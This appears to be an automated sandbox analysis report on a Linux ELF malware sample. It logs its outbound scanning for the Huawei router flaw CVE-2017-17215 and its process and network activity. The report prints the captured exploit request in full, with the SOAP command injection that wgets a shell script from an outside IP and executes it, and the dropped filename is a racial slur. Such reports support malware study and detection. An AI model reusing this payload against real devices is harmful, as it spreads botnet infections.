Timestamp:	02/19/24-18:38:01.393297
SID:	2835222
Source Port:	39772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.235.149

Timestamp:	02/19/24-18:37:31.125741
SID:	2835222
Source Port:	59494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.170.243

Timestamp:	02/19/24-18:38:06.100059
SID:	2829579
Source Port:	43680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.146.110

Timestamp:	02/19/24-18:37:27.870862
SID:	2829579
Source Port:	41830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.26.224

Timestamp:	02/19/24-18:36:23.331538
SID:	2835222
Source Port:	37130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.105.224

Timestamp:	02/19/24-18:38:01.113191
SID:	2829579
Source Port:	41146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.82.183

Timestamp:	02/19/24-18:38:08.990550
SID:	2835222
Source Port:	45790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 181.177.251.236

Timestamp:	02/19/24-18:37:16.804937
SID:	2835222
Source Port:	49790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.33.241.60

Timestamp:	02/19/24-18:37:48.992514
SID:	2829579
Source Port:	47998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.187.117.159

Timestamp:	02/19/24-18:36:46.830721
SID:	2835222
Source Port:	51682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.50.38

Timestamp:	02/19/24-18:37:15.415619
SID:	2835222
Source Port:	34642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.240.45

Timestamp:	02/19/24-18:37:27.869894
SID:	2829579
Source Port:	43056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.114.75.245

Timestamp:	02/19/24-18:37:01.248474
SID:	2835222
Source Port:	45206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.20.156

Timestamp:	02/19/24-18:37:31.123053
SID:	2835222
Source Port:	58414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.39.224

Timestamp:	02/19/24-18:38:17.235414
SID:	2835222
Source Port:	55114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.98.209

Timestamp:	02/19/24-18:36:28.360286
SID:	2835222
Source Port:	33368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.140.95

Timestamp:	02/19/24-18:37:28.048667
SID:	2829579
Source Port:	50784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.187.105.228

Timestamp:	02/19/24-18:38:08.986889
SID:	2829579
Source Port:	52596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.250.172.127

Timestamp:	02/19/24-18:37:47.986684
SID:	2829579
Source Port:	34686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.81.139

Timestamp:	02/19/24-18:36:29.348967
SID:	2835222
Source Port:	35198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.251.205

Timestamp:	02/19/24-18:36:28.359592
SID:	2829579
Source Port:	48816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.107.104

Timestamp:	02/19/24-18:37:28.053650
SID:	2835222
Source Port:	51328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.7.112

Timestamp:	02/19/24-18:38:01.392848
SID:	2829579
Source Port:	49790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.137.1

Timestamp:	02/19/24-18:36:46.831953
SID:	2829579
Source Port:	43922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.127.137

Timestamp:	02/19/24-18:36:46.844374
SID:	2835222
Source Port:	38746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.52.235

Timestamp:	02/19/24-18:36:44.376150
SID:	2829579
Source Port:	44802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.72.243.111

Timestamp:	02/19/24-18:36:49.395679
SID:	2835222
Source Port:	58316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.102.230

Timestamp:	02/19/24-18:36:44.148023
SID:	2829579
Source Port:	36922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.39.20

Timestamp:	02/19/24-18:36:44.147451
SID:	2835222
Source Port:	40088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.74.194

Timestamp:	02/19/24-18:38:06.101195
SID:	2835222
Source Port:	56286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.115.61

Timestamp:	02/19/24-18:36:23.331425
SID:	2829579
Source Port:	46914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.33.249.26

Timestamp:	02/19/24-18:36:39.595155
SID:	2829579
Source Port:	38608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.55.98

Timestamp:	02/19/24-18:37:27.872695
SID:	2835222
Source Port:	42396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.0.163

Timestamp:	02/19/24-18:38:01.392425
SID:	2829579
Source Port:	35322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.187.29.3

Timestamp:	02/19/24-18:37:48.303693
SID:	2829579
Source Port:	41982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.138.70.10

Timestamp:	02/19/24-18:37:26.604892
SID:	2829579
Source Port:	42600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.235.98.203

Timestamp:	02/19/24-18:37:59.640505
SID:	2835222
Source Port:	38626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.235.96.175

Timestamp:	02/19/24-18:38:00.738474
SID:	2829579
Source Port:	46906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.86.147

Timestamp:	02/19/24-18:37:15.415533
SID:	2829579
Source Port:	48098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.33.250.110

Timestamp:	02/19/24-18:36:28.734165
SID:	2829579
Source Port:	34174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.115.58

Timestamp:	02/19/24-18:38:20.950278
SID:	2829579
Source Port:	48386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.188.221

Timestamp:	02/19/24-18:36:29.348712
SID:	2829579
Source Port:	38408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.25.14

Timestamp:	02/19/24-18:38:01.393139
SID:	2829579
Source Port:	44154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.30.75

Timestamp:	02/19/24-18:36:44.399827
SID:	2829579
Source Port:	57198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.31.100

Timestamp:	02/19/24-18:37:31.136147
SID:	2829579
Source Port:	50608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: k83uRQtNDx.elf

String found in binary or memory: http://41.216.183.27/bins/bins.sh

Source: Initial sample	String containing 'busybox' found: $(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)
Source: Initial sample	String containing 'busybox' found: $(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)/

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal64.troj.linELF@0/0@0/0

Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1185/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3241/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1732/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1730/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1333/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1695/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3235/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3234/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/911/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/515/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/914/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1617/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1615/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/917/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3255/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3253/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1591/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3252/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3251/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3250/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1623/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1588/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3249/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/764/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1585/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3246/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/766/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/800/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/888/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/802/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1509/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/803/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/804/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1867/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1484/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/490/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1514/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1634/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1479/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1875/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/654/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/655/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/656/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/777/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/931/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1595/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/657/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/812/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/779/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/658/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/933/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/418/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/419/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3275/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3274/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3273/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3272/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/782/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1762/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3027/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1486/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/789/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1806/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1660/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3044/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/793/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/794/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/674/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/796/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/675/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/676/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1498/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1497/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1496/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3157/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3278/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1659/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3210/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3298/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3052/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/680/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/681/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3292/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1701/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1666/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3205/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3047/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3201/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/723/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/724/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1704/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1669/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3060/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1440/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3222/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3188/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3220/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3064/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3062/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/3183/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1679/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/850/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1432/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1553/maps	Jump to behavior
Source: /tmp/k83uRQtNDx.elf (PID: 5530)	File opened: /proc/1431/maps	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 42970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 41394
Source: unknown	Network traffic detected: HTTP traffic on port 59322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37628 -> 37215
